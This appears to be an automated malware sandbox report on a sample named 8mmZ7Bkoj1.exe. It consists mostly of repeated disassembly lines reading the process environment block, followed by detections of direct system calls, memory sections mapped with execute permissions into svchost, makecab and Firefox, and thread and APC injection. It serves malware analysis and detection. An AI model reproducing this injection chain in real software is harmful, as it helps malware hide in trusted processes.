Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80 mov eax, dword ptr fs:[00000030h]	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04A80 mov eax, dword ptr fs:[00000030h]	1_2_02F04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68A90 mov edx, dword ptr fs:[00000030h]	1_2_02E68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA6F mov eax, dword ptr fs:[00000030h]	1_2_02E6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEA60 mov eax, dword ptr fs:[00000030h]	1_2_02EDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EACA72 mov eax, dword ptr fs:[00000030h]	1_2_02EACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EACA72 mov eax, dword ptr fs:[00000030h]	1_2_02EACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36A50 mov eax, dword ptr fs:[00000030h]	1_2_02E36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40A5B mov eax, dword ptr fs:[00000030h]	1_2_02E40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40A5B mov eax, dword ptr fs:[00000030h]	1_2_02E40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6CA24 mov eax, dword ptr fs:[00000030h]	1_2_02E6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EA2E mov eax, dword ptr fs:[00000030h]	1_2_02E5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E54A35 mov eax, dword ptr fs:[00000030h]	1_2_02E54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E54A35 mov eax, dword ptr fs:[00000030h]	1_2_02E54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCA11 mov eax, dword ptr fs:[00000030h]	1_2_02EBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E38BF0 mov eax, dword ptr fs:[00000030h]	1_2_02E38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EBFC mov eax, dword ptr fs:[00000030h]	1_2_02E5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCBF0 mov eax, dword ptr fs:[00000030h]	1_2_02EBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50BCB mov eax, dword ptr fs:[00000030h]	1_2_02E50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30BCD mov eax, dword ptr fs:[00000030h]	1_2_02E30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEBD0 mov eax, dword ptr fs:[00000030h]	1_2_02EDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40BBE mov eax, dword ptr fs:[00000030h]	1_2_02E40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40BBE mov eax, dword ptr fs:[00000030h]	1_2_02E40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2CB7E mov eax, dword ptr fs:[00000030h]	1_2_02E2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02EC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6B40 mov eax, dword ptr fs:[00000030h]	1_2_02EC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFAB40 mov eax, dword ptr fs:[00000030h]	1_2_02EFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED8B42 mov eax, dword ptr fs:[00000030h]	1_2_02ED8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDEB50 mov eax, dword ptr fs:[00000030h]	1_2_02EDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02E5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5EB20 mov eax, dword ptr fs:[00000030h]	1_2_02E5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02EF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF8B28 mov eax, dword ptr fs:[00000030h]	1_2_02EF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAEB1D mov eax, dword ptr fs:[00000030h]	1_2_02EAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_02EFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02E6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_02E6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_02E5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30887 mov eax, dword ptr fs:[00000030h]	1_2_02E30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC89D mov eax, dword ptr fs:[00000030h]	1_2_02EBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE872 mov eax, dword ptr fs:[00000030h]	1_2_02EBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE872 mov eax, dword ptr fs:[00000030h]	1_2_02EBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6870 mov eax, dword ptr fs:[00000030h]	1_2_02EC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6870 mov eax, dword ptr fs:[00000030h]	1_2_02EC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E42840 mov ecx, dword ptr fs:[00000030h]	1_2_02E42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60854 mov eax, dword ptr fs:[00000030h]	1_2_02E60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34859 mov eax, dword ptr fs:[00000030h]	1_2_02E34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34859 mov eax, dword ptr fs:[00000030h]	1_2_02E34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov ecx, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52835 mov eax, dword ptr fs:[00000030h]	1_2_02E52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A830 mov eax, dword ptr fs:[00000030h]	1_2_02E6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED483A mov eax, dword ptr fs:[00000030h]	1_2_02ED483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED483A mov eax, dword ptr fs:[00000030h]	1_2_02ED483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC810 mov eax, dword ptr fs:[00000030h]	1_2_02EBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBE9E0 mov eax, dword ptr fs:[00000030h]	1_2_02EBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E629F9 mov eax, dword ptr fs:[00000030h]	1_2_02E629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E629F9 mov eax, dword ptr fs:[00000030h]	1_2_02E629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC69C0 mov eax, dword ptr fs:[00000030h]	1_2_02EC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E649D0 mov eax, dword ptr fs:[00000030h]	1_2_02E649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_02EFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0 mov eax, dword ptr fs:[00000030h]	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD mov eax, dword ptr fs:[00000030h]	1_2_02E309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E309AD mov eax, dword ptr fs:[00000030h]	1_2_02E309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov esi, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB89B3 mov eax, dword ptr fs:[00000030h]	1_2_02EB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962 mov eax, dword ptr fs:[00000030h]	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov eax, dword ptr fs:[00000030h]	1_2_02E7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov edx, dword ptr fs:[00000030h]	1_2_02E7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7096E mov eax, dword ptr fs:[00000030h]	1_2_02E7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4978 mov eax, dword ptr fs:[00000030h]	1_2_02ED4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4978 mov eax, dword ptr fs:[00000030h]	1_2_02ED4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC97C mov eax, dword ptr fs:[00000030h]	1_2_02EBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0946 mov eax, dword ptr fs:[00000030h]	1_2_02EB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB892A mov eax, dword ptr fs:[00000030h]	1_2_02EB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC892B mov eax, dword ptr fs:[00000030h]	1_2_02EC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE908 mov eax, dword ptr fs:[00000030h]	1_2_02EAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE908 mov eax, dword ptr fs:[00000030h]	1_2_02EAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBC912 mov eax, dword ptr fs:[00000030h]	1_2_02EBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28918 mov eax, dword ptr fs:[00000030h]	1_2_02E28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28918 mov eax, dword ptr fs:[00000030h]	1_2_02E28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36EE0 mov eax, dword ptr fs:[00000030h]	1_2_02E36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36EE0 mov eax, dword ptr fs:[00000030h]	1_2_02E36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36EE0 mov eax, dword ptr fs:[00000030h]	1_2_02E36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36EE0 mov eax, dword ptr fs:[00000030h]	1_2_02E36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68EF5 mov eax, dword ptr fs:[00000030h]	1_2_02E68EF5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCEA0 mov eax, dword ptr fs:[00000030h]	1_2_02EBCEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCEA0 mov eax, dword ptr fs:[00000030h]	1_2_02EBCEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBCEA0 mov eax, dword ptr fs:[00000030h]	1_2_02EBCEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ECAEB0 mov eax, dword ptr fs:[00000030h]	1_2_02ECAEB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ECAEB0 mov eax, dword ptr fs:[00000030h]	1_2_02ECAEB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2AE90 mov eax, dword ptr fs:[00000030h]	1_2_02E2AE90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2AE90 mov eax, dword ptr fs:[00000030h]	1_2_02E2AE90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2AE90 mov eax, dword ptr fs:[00000030h]	1_2_02E2AE90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E62E9C mov eax, dword ptr fs:[00000030h]	1_2_02E62E9C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E62E9C mov ecx, dword ptr fs:[00000030h]	1_2_02E62E9C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36E71 mov eax, dword ptr fs:[00000030h]	1_2_02E36E71
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0E7F mov eax, dword ptr fs:[00000030h]	1_2_02EB0E7F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0E7F mov eax, dword ptr fs:[00000030h]	1_2_02EB0E7F

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\makecab.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: NULL target: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: NULL target: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\makecab.exe

Thread register set: target process: 8044

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\makecab.exe

